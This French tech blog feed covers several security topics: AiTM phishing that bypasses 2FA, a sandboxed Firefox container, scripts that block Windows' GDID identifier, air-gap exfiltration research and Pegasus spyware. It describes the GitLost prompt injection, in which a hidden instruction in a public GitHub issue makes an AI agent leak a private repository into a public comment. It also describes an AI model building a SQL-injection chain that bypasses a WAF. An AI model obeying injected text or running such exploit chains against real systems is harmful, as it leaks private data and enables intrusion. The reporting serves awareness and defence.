Une puissance de calcul sans précédent La puissance de l'informatique quantique tient à son processeur : en exploitant des phénomènes physiques à l'échelle du nanomètre - utilisés pour contrôler les unités d’information appelées qubits, équivalents des bits des ordinateurs classiques - il est capable de résoudre certains problèmes complexes beaucoup plus efficacement que les ordinateurs et […]

L’article Le vrai bug de l'an 2000 arrive, et vos données sont déjà dans le viseur est apparu en premier sur L'ADN.

Les attaques Adversary-in-the-Middle (AiTM) représentent l'évolution sophistiquée des classiques attaques Man-in-the-Middle. Contrairement à l'écoute passive, l'attaquant s'insère activement entre la victime et le service légitime, usurpant les deux parties pour intercepter, modifier et rediriger les communications. Ces attaques permettent de voler des identifiants, de contourner l'authentification à deux facteurs (2FA) en capturant les cookies de session, et même de manipuler les transactions financières en temps réel. Des outils facilitent grandement la mise en place de ces attaques et l'une des protections valables repose sur le chiffrement des communications (VPN, HTTPS), l'authentification multi-facteurs résistante au phishing (WebAuthn) et la vigilance face aux liens suspects.

Faites preuve d'un peu d'imagination pendant quelques minutes. Vous êtes tranquillement installé au Starbucks du coin, vous buvez votre latte caramel macchiato à 7 balles, et vous vous connectez au WiFi public pour checker vos mails. Sauf que le mec à la table d'à côté, avec son hoodie noir et son MacBook Pro qui sent le terminal, n'est pas là pour boire son café. Il est là pour se positionner entre vous et le reste du monde.

Et là, on ne parle pas d'un simple Man-in-the-Middle à l'ancienne, non non. On parle d'un Adversary-in-the-Middle, le gros calibre. La différence ? Le mec usurpe activement les deux côtés de la conversation. C'est pas juste un petit curieux qui écoute aux portes. C'est un escroc qui se fait passer pour votre banque ET pour vous, en même temps. Il relaie tout, modifie ce qu'il veut, et vous, vous ne voyez rien.

"Mais j'ai la 2FA, je suis blindé !"

Hé ben non. C'est là que ça pique.

Les attaques AiTM ont un super-pouvoir de merde : elles contournent la 2FA. Comment ? Le mec crée un site parfaitement identique à celui de votre banque. Vous cliquez sur le lien du mail de phishing et vous arrivez sur sa copie. Login, mot de passe, et PAF, le code SMS arrive. Vous le rentrez. Sauf que le code passe par le serveur du mec au milieu, qui le relaie en temps réel à la vraie banque. Résultat ? Il a votre session, vos cookies, et il peut se connecter à votre compte pendant des heures sans que vous vous en rendiez compte.

C'est ce qu'on appelle le session hijacking. Vous avez validé l'authentification, et pourtant c'est lui qui se retrouve connecté à votre place. Et il peut même modifier les données en transit : changer le numéro de compte bénéficiaire d'un virement, injecter du malware dans une mise à jour, bref, tout ce qui lui chante.

Des outils comme Evilginx2 traînent dans la nature depuis 2018 et permettent à n'importe quel script kiddie de monter ce genre d'attaque en 10 minutes. Le framework MITRE ATT&CK a même une entrée dédiée pour ça (T1557), tellement c'est devenu courant.

"Ok, et je fais quoi alors ?"

Ben déjà, arrêtez de cliquer sur les liens de vos mails comme un débile. Mais surtout, surtout, chiffrez votre connexion. Et là, un VPN entre en jeu.

Pas n'importe lequel. Un VPN qui sait ce qu'il fait. Je vous en parle régulièrement (j'espère qu'à force ça finit par rentrer hein) mais, récemment, Surfshark vient encore de se faire remarquer en recevant le PCMag Editor's Choice award . Ce qui, dans le monde des VPN, est un peu comme recevoir une étoile Michelin pour un kebab. Ça veut dire que les mecs de PCMag, qui testent ce genre de truc toute la journée, ont trouvé que Surfshark tenait la route.

Pourquoi un VPN ça marche contre l'AiTM ?

C'est simple. Lorsque vous activez Surfshark , tout votre trafic passe dans un tunnel chiffré entre votre machine et le serveur VPN. Même si le mec au Starbucks contrôle le routeur, même s'il fait de l'ARP spoofing, du DNS poisoning, ou je ne sais pas quelle autre magie noire, il verra que dalle, juste des paquets chiffrés illisibles, point barre.

Pas d'identifiants en clair, pas de cookies de session à sniffer, et pas moyen de modifier une page web en transit. Le gars peut toujours essayer de vous rediriger vers son faux site, mais votre connexion VPN reste intacte et chiffrée.

Et Surfshark, en plus du chiffrement AES-256-GCM (celui que la NSA approuve pour ses documents top secret, pour ceux qui aiment les détails techniques), propose des fonctionnalités sympas :

• CleanWeb qui bloque les trackers et les pubs (et donc les domaines malveillants souvent cachés derrière)
• Kill Switch qui coupe internet si le VPN tombe (parce qu'un tunnel qui s'effondre, c'est pas un tunnel)
• MultiHop qui fait passer votre connexion par DEUX serveurs VPN successifs pour ceux qui sont vraiment parano
• Surfshark Alert qui surveille si vos identifiants ont fuité sur le dark web
• Alternative ID qui vous permet de créer de fausses identités temporaires

Le prix de la tranquillité

Alors oui, un VPN ça coûte un peu d'argent. Mais franchement, entre payer quelques euros par mois et se faire vider son compte bancaire par un mec qui a sniffé votre session sur le WiFi du McDo, le choix est vite fait. Surtout que Surfshark propose des abonnements longue durée à prix cassés, et avec leurs offres actuelles, vous en avez pour moins cher qu'une paire de cafés par mois (2.75€ TTC pour le pack Starter ou 3.35€ TTC pour Surfshark One avec l'antivirus & co).

Et puis, ils ont aussi une politique de no-logs auditée indépendamment et régulièrement. C'est-à-dire qu'ils ne gardent aucune trace de ce que vous faites. Contrairement à votre FAI qui sait exactement à quelle heure vous regardez vos séries un peu spéciales sur Netflix.

Bref

Les attaques AiTM n'ont rien de la science-fiction. Ça arrive tous les jours. Microsoft a documenté une campagne qui a ciblé plus de 10 000 organisations depuis 2021. Twitter (pardon : X), Microsoft 365, Slack, Twilio... tous ont morflé à cause de ce genre d'attaque. Et vous, sur votre WiFi public, vous êtes une cible parfaite.

Un VPN comme Surfshark n'est pas une baguette magique qui vous protège de tout. Si vous cliquez sur un lien de phishing, le VPN ne vous sauvera pas de votre propre étourderie. Mais il vous protègera de l'interception passive et active sur les réseaux non sécurisés. Et ça, c'est déjà énorme. Dans le doute, chiffrez. Toujours.

Profitez de l'offre du moment chez Surfshark !

On reçoit tous des mails un peu bizarres avec des liens qu'on n'ose pas ouvrir, et pourtant on est curieux, on est tenté parfois... C'est difficile de résister mais heureusement l'équipe de Linuxserver.io a pondu un truc super pour ça.

Il s'agit tout simplement d'une instance de Firefox qui tourne dans un conteneur Docker et qui est totalement pilotable depuis votre navigateur habituel.

Comme ça, quand vous recevez un lien louche que vous voulez ouvrir, vous le mettez là-dedans, dans une session jetable qui est totalement coupée de votre vraie machine. Et comme ça, si ça part en couille, vous butez le conteneur et on n'en parle plus.

Voilà, ça se présente juste comme une page HTTPS avec un navigateur dedans. Et comme c'est LinuxServer qui maintient l'image, vous êtes tranquilles parce que c'est du sérieux.

L'avantage d'avoir ce truc, c'est qu'un Firefox en conteneur ne voit ni votre répertoire personnel, ni vos cookies, ni vos sessions Google, ni vos extensions, absolument rien, il est totalement isolé. Donc si un site tente un drive-by download ou un exploit navigateur, eh bien en principe les dégâts resteront coincés dans le conteneur. Et le simple fait de le redémarrer remettra tout à 0.

Attention quand même, un conteneur, ce n'est pas une machine virtuelle. Une vulnérabilité au niveau du noyau pourrait en théorie s'en échapper. Mais c'est pas le genre d'attaque qui se fait avec juste un clic douteux sur une page web.

Les chercheurs en sécu s'en servent pour ouvrir des pièces jointes chelou, les marketeux pour jongler avec 12 comptes ad sans cookie cross-tracking , et les paranos dans mon genre pour cliquer sur les liens des mecs bizarres de Discord sans rien flinguer chez eux..

Après y'a des petits inconvénients. Je pense aux perfs graphiques qui prennent une claque par rapport à un Firefox natif ou encore l'audio qui transite par le pipeline du navigateur, du coup ça crachote parfois sur les vidéos lourdes. Le copier-coller marche, mais en passant par la section presse-papiers de la barre latérale Selkies , pas en direct. Et la persistance ne tient que si vous mappez le volume /config comme il faut, sinon vos onglets et vos bookmarks gicleront dès que le conteneur sera recréé (à la première mise à jour d'image, typiquement).

Côté vie privée c'est plutôt une qualité mais pour un usage quotidien, ça peut devenir relou.

Installation en une commande

L'image officielle, c'est lscr.io/linuxserver/firefox:latest. Elle tourne sur Selkies depuis juin 2025 (avant c'était KasmVNC) et démarre en Wayland par défaut depuis mars 2026. Maintenant, si un site part en vrille à cause de ça, vous ajoutez le paramètre PIXELFLUX_WAYLAND=false à la commande Docker et vous serez de retour en X11.

La commande minimale ressemble à ça :

docker run -d \
--name=firefox \
-e PUID=1000 \
-e PGID=1000 \
-e TZ=Europe/Paris \
-e LC_ALL=fr_FR.UTF-8 \
-p 3001:3001 \
-v $HOME/firefox-config:/config \
--shm-size=1gb \
--restart unless-stopped \
lscr.io/linuxserver/firefox:latest

Le --shm-size=1gb, c'est la mémoire partagée de Docker et vous n'y couperez pas, désolé. Si vous le zappez, YouTube comme les sites un peu lourds vous planteront le navigateur. Le port 3001, c'est l'accès HTTPS, avec un certificat auto-signé qui fera râler votre Firefox principal (c'est normal, faut l'accepter). Y'a aussi un port 3000, mais lui c'est du HTTP en clair, à réserver derrière un reverse proxy genre SWAG et rien d'autre.

Ensuite, direction https://localhost:3001/ et un joli Firefox vous attend. Notez que par défaut, il n'y a AUCUNE authentification. Personne ne vous demande rien, alors si vous voulez l'exposer sur votre réseau, définissez bien un CUSTOM_USER et PASSWORD pour activer le basic auth avant qu'un petit malin de votre réseau ne tombe dessus.

La version docker-compose, plus propre

Envie d'un setup versionnable, que vous pouvez reproduire ailleurs sans réfléchir ? Le compose fait ça mieux :

---
services:
firefox:
image: lscr.io/linuxserver/firefox:latest
container_name: firefox
environment:
- PUID=1000
- PGID=1000
- TZ=Europe/Paris
- LC_ALL=fr_FR.UTF-8
- CUSTOM_USER=korben
- PASSWORD=changezmoi
- HARDEN_DESKTOP=true
- HARDEN_OPENBOX=true
volumes:
- ./firefox-config:/config
ports:
- 3001:3001
shm_size: "1gb"
restart: unless-stopped

Ensuite, un docker compose up -d et roulez jeunesse. Le volume ./firefox-config conserve votre profil entre deux redémarrages avec bookmarks, extensions installées depuis le store Mozilla, tout reste en place.

Et si vous avez envie de repartir de zéro, on met le dossier à la poubelle, on relance, et voilà. Et pour glisser des outils tiers dans le conteneur (filezilla, un éditeur, ce genre de bidule), [proot-apps install](https://github.com/linuxserver/proot-apps) les posera dans $HOME, où ils survivront aux mises à jour de l'image.

Le hardening qu'il faut absolument activer

Maintenant, le piège que la doc évoque du bout des lèvres et qui mérite d'être écrit en gros c'est que l'interface web embarque un terminal avec sudo passwordless . Traduction : quiconque accède à votre Firefox conteneurisé devient root dans le conteneur en deux clics. Exposez ça sur votre réseau, ou pire sur Internet, sans durcir le machin, et vous ouvrez un boulevard.

La parade tient en une variable : **HARDEN_DESKTOP=true**, qui pose les principaux verrous d'un coup. Ça coupe sudo, ça vire les terminaux, et ça bloque xdg-open et exo-open, qui pourraient lancer des trucs hors conteneur. Vous pouvez empiler ça avec HARDEN_OPENBOX=true par-dessus, histoire de neutraliser les raccourcis clavier dangereux genre Alt+F4, de désactiver le clic droit et de masquer le bouton de fermeture. Firefox reste parfaitement utilisable, mais impossible de s'évader pour faire mumuse avec le système derrière.

Et pour une exposition sur Internet, le basic auth CUSTOM_USER/PASSWORD ne suffira pas car c'est trop léger. Moi ce que je vous recommande, c'est de coller le tout derrière un reverse proxy SWAG avec une vraie couche OAuth2 ou Authelia. Le basic auth, gardez-le pour le LAN entre potes ou collègues de confiance, mais pas au-delà.

SealSkin, le bonus qui change tout

SealSkin , c'est la cerise sur le conteneur ^^. C'est une extension navigateur, dispo pour Chrome et Firefox, qui monte la garde sur votre navigateur principal et détourne ce qui sent mauvais vers le conteneur isolé. Un lien repéré comme suspect ? Hop, il s'ouvre direct dans le Firefox conteneurisé. Pareil pour les téléchargements, qui atterrissent dans le conteneur au lieu de finir sur votre machine.

Du coup, l'isolation devient un réflexe permanent au lieu d'un machin que vous activez à la main quand vous y pensez (c'est-à-dire jamais). Seule contrainte par contre, faudra héberger le serveur SealSkin vous-même, et installer l'extension dans votre vrai Firefox. Mais vous verrez, après quelques jours à ce régime, vous aurez du mal à faire autrement.

Et sur tablette ou mobile ?

J'imagine que vous comptiez sur l'ancien tag kasm pour le tactile ? Eh bien c'est raté, puisque LinuxServer l'a déprécié début juillet. En échange, la barre latérale Selkies embarque désormais un trackpad virtuel et un clavier à l'écran, donc de quoi rendre l'interface utilisable depuis un iPad ou un smartphone sans bidouille en plus. On reste loin, c'est vrai, du confort d'un vrai desktop, et taper Ctrl+Tab au doigt c'est toujours la misère, mais pour dépanner ça fait le job.

Et voilà, votre Firefox jetable vit désormais dans son petit conteneur, bien au chaud. Comme ça, le prochain lien douteux, vous l'ouvrirez sans trembler... pour tester des sites au calme, difficile de trouver mieux, je pense.

Comme je vous le disais tout à l'heure, en avril 2026, le FBI a coincé un membre présumé de Scattered Spider. Le mec planquait son trafic derrière un VPN, avec des IP dans trois pays différents. Et devinez quoi ? Ce n'est pas une fausse manip qui l'a balancé mais un identifiant que votre Windows se trimballe H24 et que Microsoft refile aux autorités quand elles le demandent : le GDID. Je vous en ai déjà causé dans cet article , et après avoir écrit l'article, je me suis demandé si on pouvait le virer.

Du coup j'ai monté une petite VM Windows 11 Pro et j'ai mis les mains dedans en me faisant assister de mon LLM préféré et voilà ce que j'ai trouvé. Ce qui marche, et surtout ce qui ne marche pas du tout, vous allez voir.

Déjà, faut comprendre ce qu'est ce GDID. C'est pas le numéro de série de votre carte mère, c'est pas un hash en lien avec votre matos. Non, c'est un PUID de 64 bits, c'est-à-dire un identifiant que les serveurs de Microsoft collent à votre compte dès que vous ouvrez une session Windows. Il est écrit en clair dans votre registre, votre machine l'enregistre dans un annuaire côté Microsoft, et un service le fait remonter peinard quand c'est nécessaire. Et si vous changez d'IP avec un VPN, bah lui il s'en fout. Le GDID ne bouge pas d'un poil.

Regardez votre propre mouchard en face

On commence par le voir de nos yeux. Ouvrez un PowerShell et collez ça :

$lid=(Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\IdentityCRL\ExtendedProperties').LID
"g:$([Convert]::ToUInt64($lid,16))"

Sur ma VM, ça m'a craché g:6755487812206045. C'est celui que Microsoft peut raccrocher à tout ce que je fais. (En théorie hein, parce que c'est le code qui est associé à ma VM, donc je m'en fous et c'est pour ça que je vous le montre).

Vous venez de lire l'étiquette qu'on vous a collée dans le dos.

Le supprimer ? Laissez tomber

Réflexe de base, on efface la clé dans la base de registres HKCU:\SOFTWARE\Microsoft\IdentityCRL\ExtendedProperties et hop, plus de mouchard. C'est ce que j'ai testé au début... J'ai shooté la valeur, redémarré le service qui s'en occupe, et là plus rien. Gagné ? Ben non. J'ai ouvert le Microsoft Store durant deux petites secondes, et le GDID est revenu. Et pas un nouveau, hein, LE MÊME !!

C'est ça qui est fou. C'est que votre GDID n'est pas planqué sur votre disque, il est planqué chez Microsoft, bien accroché à votre compte comme une moule à son rocher. Votre PC ne fait que le retélécharger encore et encore. Après si vous réinstallez tout, Windows vous donne un nouveau numéro, d'accord, mais l'ancien et tout ce qui y était rattaché restent tout de même bien au chaud sur leurs serveurs. Le passé, on le récupère jamais...

Couper la télémétrie ne change rien non plus

Un autre conseil qu'on voit partout, c'est de désactiver la télémétrie de Windows. Sur ma VM, le service de télémétrie classique était déjà à l'arrêt. Et pourtant mon GDID était là, bien lisible, et les services qui le font remonter tournaient à plein régime. Le mouchard ne passe pas par la télémétrie que vous croyez couper. Il passe ailleurs, par les services de la plateforme d'appareils connectés et de l'optimisation de distribution.

Vous pouvez donc cliquer sur tous les boutons vie privée des réglages, il s'en tape.

Fermer le robinet pour de vrai

Alors puisqu'on peut pas l'effacer, on va faire la seule chose qui est en notre pouvoir : L'empêcher de sortir. Et sans se déconnecter du compte Microsoft, histoire de garder un PC utilisable, hein.

Et pour ça, on a 2 leviers. Le premier, c'est de désactiver les services qui enregistrent et remontent les infos de votre machine. Le second, c'est de renvoyer les serveurs de Microsoft dans le décor simplement via le fichier hosts, comme ça même si les services qui mouchardent tournent, et bien ils ne peuvent plus joindre personne... Et surtout, on ne touche pas à login.live.com, sinon adieu la connexion à votre compte.

Toutefois, il y a un petit piège, vous vous en doutez... Le service qui fait remonter le GDID, DoSvc, refuse de se laisser désactiver par la voie normale. Même en admin, Windows vous balance "Accès refusé". La parade, c'est donc de le désactiver direct dans le registre, où l'admin a le droit d'écrire là où le gestionnaire de services vous bloque.

Maintenant pour faire ça, plutôt que de vous mettre des tonnes de lignes de code à copier-coller, j'ai tout regroupé dans des scripts propres, que j'ai testés, avec une commande pour tout remettre comme avant.

Le projet est là : no-gdid sur GitHub . Vous lancez d'abord l'audit en lecture seule pour voir où vous en êtes, puis les scripts de blocage en mode aperçu, et seulement après avec l'option qui applique vraiment. Testez dans une VM avec un snapshot avant de faire ça sur votre vraie bécane, parce qu'on désactive quand même des services système. Et si vous voulez juste couper le réseau d'un process précis sans tout ce cirque, ce bon vieux ProcNetBlocker fait déjà une partie du taf.

Allez c'est parti mon canard !

Ouvrez un PowerShell en administrateur, et la première fois faites-le dans une VM avec un snapshot histoire de tester et de vous familiariser avec les commandes. Étape 1, on clone le projet :

winget install --id Git.Git
git clone https://github.com/Korben00/no-gdid
cd no-gdid

D'abord on regarde sa propre situation. Cet audit est en lecture seule, il ne modifie rien, il vous affiche juste votre GDID et quels services de la chaîne tournent :

powershell -ExecutionPolicy Bypass -File .\audit\Get-GDID-Audit.ps1

Ensuite on regarde ce que la mitigation changerait, sans rien appliquer. Sans l'option -Apply, les deux scripts tournent en mode aperçu et se contentent de lister ce qu'ils feraient :

powershell -ExecutionPolicy Bypass -File .\mitigate\Disable-GDID-Services.ps1
powershell -ExecutionPolicy Bypass -File .\mitigate\Block-GDID-Endpoints.ps1

Si ça vous va, on coupe pour de vrai. Cette fois on ajoute -Apply : les services qui enregistrent et remontent l'appareil sont désactivés, et les serveurs de Microsoft correspondants sont renvoyés dans le vide via le fichier hosts. Votre compte Microsoft, lui, reste connecté :

powershell -ExecutionPolicy Bypass -File .\mitigate\Disable-GDID-Services.ps1 -Apply
powershell -ExecutionPolicy Bypass -File .\mitigate\Block-GDID-Endpoints.ps1 -Apply

Et pour tout remettre comme avant, une seule commande :

powershell -ExecutionPolicy Bypass -File .\mitigate\Revert-GDID.ps1

Une fois appliqué, tout redeviendra calme... les services d'enregistrement seront à l'arrêt, leurs serveurs injoignables, et votre compte Microsoft restera toujours connecté. Le GDID reste bien évidemment lisible sur le disque, mais il ne remontera plus chez Microsoft.

La vérité qui pique

Après, je ne vais pas faire un tuto qui vous vend du rêve. Ces manips réduisent ce que Microsoft pourra corréler à l'avenir mais elles n'effacent pas votre GDID, qui traîne sur leurs serveurs depuis votre toute première connexion, et elles ne vous rendent pas anonyme. Ensuite, passer en compte local comme j'ai pu le lire ailleurs supprime le chemin qu'on vient de bloquer, mais rien ne prouve encore qu'un identifiant anonyme ne prend pas le relais derrière.

La seule vraie parade solide pour une activité sensible, est plus brutale : ne pas faire cette activité sous Windows. Un Linux live par exemple offre un contrôle total de ce qui sort de votre machine. Le reste, c'est que de la réduction des dégâts, rien de plus.

Voilà, défendre sa vie privée, ça commence par savoir ce qu'on vous colle sur le dos et maintenant vous le savez. Pas merci Microsoft.

Source : The Register et le reverse engineering de SmtimesIWndr .

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visible publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/gitlost-github-agent-ia-fuite-depots-prives/gitlost-github-agent-ia-fuite-depots-prives-1.mp4">lien vers la vidéo</a>.

En matière de sécurité, quand on parle de air gap, en général, on ne peut pas faire mieux. Si vous ne connaissez pas le concept, l'idée c'est d'empêcher un ordinateur d'avoir accès à tout type de réseau, que ce soit du wi-fi, de l'Ethernet, etc. etc. C'est un peu le Graal en matière de sécurité.

Et pourtant, des chercheurs de l'université de Shandong viennent de trouver un moyen de transmettre quand même des datas, même si la machine n'a pas accès au réseau. Leur technique s'appelle TrojPix et elle consiste à transformer un câble vidéo en antenne radio. Je vous explique la technique !

Comme vous le savez, mes petits ingénieurs, sur un écran, chaque pixel est codé en rouge, vert et bleu. TrojPix vient donc tripoter les bits (Ah Ah) les plus faibles de ces couleurs, des variations tellement infimes que votre œil n'y voit que du feu. Sauf que ces micro-changements modulent le signal qui circule dans le câble HDMI ou DisplayPort, et surprise-surprise, un câble en cuivre qui transporte un signal ça rayonne des ondes électromagnétiques. C'est d'ailleurs pour ça que les anti-ondes s'évanouissent tous dès qu'ils appuient sur un interrupteur, lol.

Bref, en façonnant les pixels, le malware pilote ces ondes, et une simple antenne radio posée à proximité les capte et reconstitue les données.

Et le débit quand je l'ai lu, m'a fait tousser. Jusqu'à 8,1 mégabits par seconde, de quoi faire sortir 100 Mo de plans ou de clés en moins de deux minutes et la portée, elle, grimpe jusqu'à 208 mètres. Mais attention, ces deux records ont été mesurés séparément et pas ensemble, donc plus l'espion s'éloigne, plus ça ralentit. Reste que les précédents canaux du genre pataugeaient à quelques kilobits par seconde, alors là on change carrément d'échelle.

Notez que le malware peut même simuler un écran éteint pendant qu'il émet, ni vu ni connu, j'embrouille.

Mais avant de scotcher de l'alu sur votre tour ou d'aller installer votre bureau dans le micro onde, respirez un grand coup ! En réalité, TrojPix ne pête pas la sécurité air gap à lui tout seul... Faut déjà installer le malware et ça c'est pas si simple sur un système isolé (surtout si les ports USB ont été rebouchés au ciment).

Ensuite, l'espion et son antenne doivent camper dans les deux cents mètres environ puisque les murs et le bruit ambiant rognent la portée, et surtout ça ne marche que sur du câble en cuivre. Et étonnamment, une cage de Faraday n'y fait pas grand-chose, les chercheurs gardaient plus de 90 % de réussite même avec un blindage. La seule vraie parade en réalité, c'est de remplacer le câble en cuivre par de la bonne vieille fibre optique, qui elle ne rayonne aucune onde.

C'est donc de la très belle recherche, mais une menace qui vise surtout une clientèle précise, les systèmes ultra-sensibles des gouvernements, des militaires ou des infrastructures critiques, ceux qui misent justement tout sur l'isolement. Oui, désolé de vous le redire, mais personne ne s'intéresse à vous ^^. Mais en tout cas, on sait que débrancher le réseau ne suffit plus pour être invisible et en sécurité. On avait d'ailleurs déjà vu exfiltrer des données par ondes radio ou même faire du Wi-Fi sans carte Wi-Fi avec AIR-FI , mais pour le coup, TrojPix pousse le curseur du débit beaucoup plus loin.

Source

Posez votre doigt sur un capteur et hop, votre session s'ouvre. Sur un Mac, ce petit confort passe par exemple par le Magic Keyboard avec Touch ID (lien affilié) parce qu'Apple réserve la biométrie à son propre matériel. Mais le bidouilleur Zimeng Xiong a trouvé ça un peu chéros, alors il a bricolé la même chose avec un ESP32-S3 à quelques euros .

Le tout tient dans un boîtier imprimé en 3D contenant un capteur d'empreinte ZW101 qui lit votre doigt, et une carte ESP32-S3 (une Seeed Studio XIAO - lien affilié) qui se fait passer pour un clavier USB. Ensuite, si l'empreinte correspond, elle tape votre mot de passe suivi d'Entrée. Vu de l'ordinateur, l'engin n'est qu'un clavier qui tape à votre place, et n'est donc liée à aucun système d'exploitation en particulier.

Le truc bien pensé je trouve, c'est que le mot de passe ne vit jamais sur l'ESP. La carte ne garde qu'une clé d'appairage de 32 octets et le mot de passe, lui, reste sur l'ordinateur, conservé par un petit service que vous installez.

Quand vous posez le doigt, l'ESP réclame ce mot de passe via un échange chiffré, avec une clé d'appairage partagée et un nonce aléatoire pour bloquer les rejeux, le déchiffre en mémoire vive le temps de le taper, puis efface tout en quelques millisecondes. Il compte aussi sur le Secure Boot et le Flash Encryption de l'ESP32-S3 pour qu'un dump de la puce ne livre aucune clé.

Après, histoire d'être transparent avec vous, sachez que le seul maillon faible de ce gadget se situe entre le capteur et l'ESP car la liaison série n'est pas protégée. Toute la vérification de l'empreinte se passe dans le capteur, pas dans le microcontrôleur, donc quelqu'un qui aurait accès à votre machine et au boîtier en même temps pourrait usurper le capteur et forcer l'envoi du mot de passe. La parade de Zimeng c'est donc de noyer toute l'électronique dans de l'epoxy noir.

Sous Windows, vous branchez un lecteur d'empreinte USB et Windows Hello fait le reste, c'est plutôt simple. Apple par contre verrouille un peu plus le truc, donc il faudra installer le logiciel compagnon. Et Zimeng Xiong ne compte pas s'arrêter là, puisqu'il annonce une version qui émule une carte à puce, pour se connecter sans jamais taper de mot de passe, comme le font déjà les passkeys . Là, on serait un cran au dessus en matière de sécurité.

Le code est public sur GitHub si vous voulez tenter le montage. Rien de prêt pour la production évidemment, mais une chouette démonstration qu'avec un ESP32 et un peu de crypto, on peut faire de jolies choses.

Source

Stelios Kouloglou, ancien eurodéputé grec, et journaliste d'investigation, siégeait à la commission PEGA du Parlement européen et à l'époque, son cheval de bataille c'était de traquer Pegasus, le mouchard pour smartphone de la société israélienne NSO Group.

Eh bien devinez quoi ? Son smartphone à lui était aussi infecté par Pegasus !

C'est Citizen Lab, un labo planqué à l'université de Toronto, qui a retourné son iPhone en mai dernier et qui a retrouvé la trace de 2 infections. La première en octobre 2022, et la suivante en mars 2023. Pile au moment où la commission PEGA bossait sur son rapport, donc...

Mais avant de tout vous expliquer, je me permets de faire un petit rappel pour ceux qui ont raté le premier épisode. Pegasus, c'est un outil d'une société privée qui travaille dans la surveillance et qui s'appelle NSO Group. Cet outil est capable de s'installer tout seul sur un iPhone, sans avoir besoin du moindre clic de la victime. Aucune interaction, aucune trace et une fois qu'il est en place, cette saloperie siphonne tout ! Ce que votre micro et vos caméras enregistrent, vos messages, votre géoloc, vos datas...etc. Le Parlement européen avait donc monté la commission PEGA en avril 2022 justement pour comprendre pourquoi des États membres s'amusaient à espionner des journalistes, des avocats et des opposants politiques avec ça.

Alors qui a infecté Kouloglou ?

Eh bien personne n'a trouvé et c'est bien le problème. NSO ne donne jamais le nom de ses clients, et l'entreprise n'a pas répondu aux sollicitations. Kouloglou, lui, accuse le gouvernement grec, son propre pays, qui figure parmi les États épinglés par la commission aux côtés de la Pologne, la Hongrie et l'Espagne.

Sauf que Citizen Lab, le labo qui a fait l'analyse, n'a pu confirmer aucune piste et pense que d'autres parlementaires ont ou seront également infectés. Et le pire dans toute cette histoire, c'est qu'il ne se passe rien de plus...

La commission PEGA a rendu son rapport en mai 2023 avec une liste de recommandations comme encadrer le spyware, créer un labo technique européen, ouvrir des voies de recours et le Parlement a voté pour. Très bien ! Sauf que depuis la Commission européenne a rangé tout ça dans un tiroir.

Ça fait donc maintenant 3 ans que ces recommandations prennent la poussière. Et Kouloglou n'est même pas un cas isolé puisqu'il y a déjà eu Nikos Androulakis, un autre eurodéputé grec, visé lui par Predator, le cousin de Pegasus. À l'époque, tout le monde avait crié au scandale mais nous sommes maintenant quelques années plus tard, et il n'y a aucun aucune répercussion ni aucun changement.

Et pendant que la justice avance à deux à l'heure, et cela même si NSO s'est pris une déculottée par WhatsApp , le marché du mouchard se porte comme un charme ! Candiru, Paragon, Intellexa... Pour chaque NSO qui trébuche, d'autres se partagent le gâteau.

Alors qu'est-ce qu'on fait, nous, simples mortels sans immunité parlementaire ?

Bah déjà, si vous êtes journaliste, militant ou juste un parano bien organisé, activez le Lockdown Mode d'Apple , qui a déjà fait échouer des attaques de ce type. Et si vous flairez quelque chose de louche, sachez qu'on peut faire analyser un smartphone pour y détecter une infection , exactement comme Citizen Lab l'a fait pour Kouloglou.

Bref, un député qui enquête sur les espions se fait espionner, et l'Europe regarde ailleurs... J'ai connu meilleure pub pour la démocratie !

Source

Un chercheur en sécurité nommé Ian Carroll s'est amusé à lâcher Claude Opus sur la billetterie de Live Nation, afin d'y trouver des failles de sécurité, et l'IA lui a carrément écrit toute la chaîne d'exploitation sans aucune aide. Lui n'a eu qu'à le lancer...

Tout démarre avec une session de fuzzing sur l'API des terminaux, fgtapi.frontgatetickets.com. Carroll repère un truc... chaque endpoint qui contient le mot "device" réclame un paramètre deviceUID, et ce paramètre ne demande aucune authentification. Il colle un simple guillemet à la fin, la requête se met à ramer, et là, signe classique, le paramètre file direct dans une requête SQL sans le moindre échappement.

Une injection SQL bien à l'ancienne (si vous voulez voir à quoi ça ressemble, j'avais déjà décortiqué le principe il y a un bail).

Sauf qu'un WAF AWS est planté devant pour bloquer ce genre de payload. Et c'est là que Claude entre en scène. L'IA pige toute seule que le pare-feu n'inspecte que la couche extérieure de la requête, et qu'il suffit de planquer l'injection dans une sous-requête imbriquée pour passer sous le radar.

Ensuite elle se fabrique un oracle booléen aveugle qui fait que selon que la condition testée est vraie ou fausse, le serveur renvoie deux réponses différentes, "MC70-023" pour vrai, "Intellitix Upload" pour faux. Vous enchaînez ensuite les questions oui/non, et vous reconstituez la base entière, caractère par caractère.

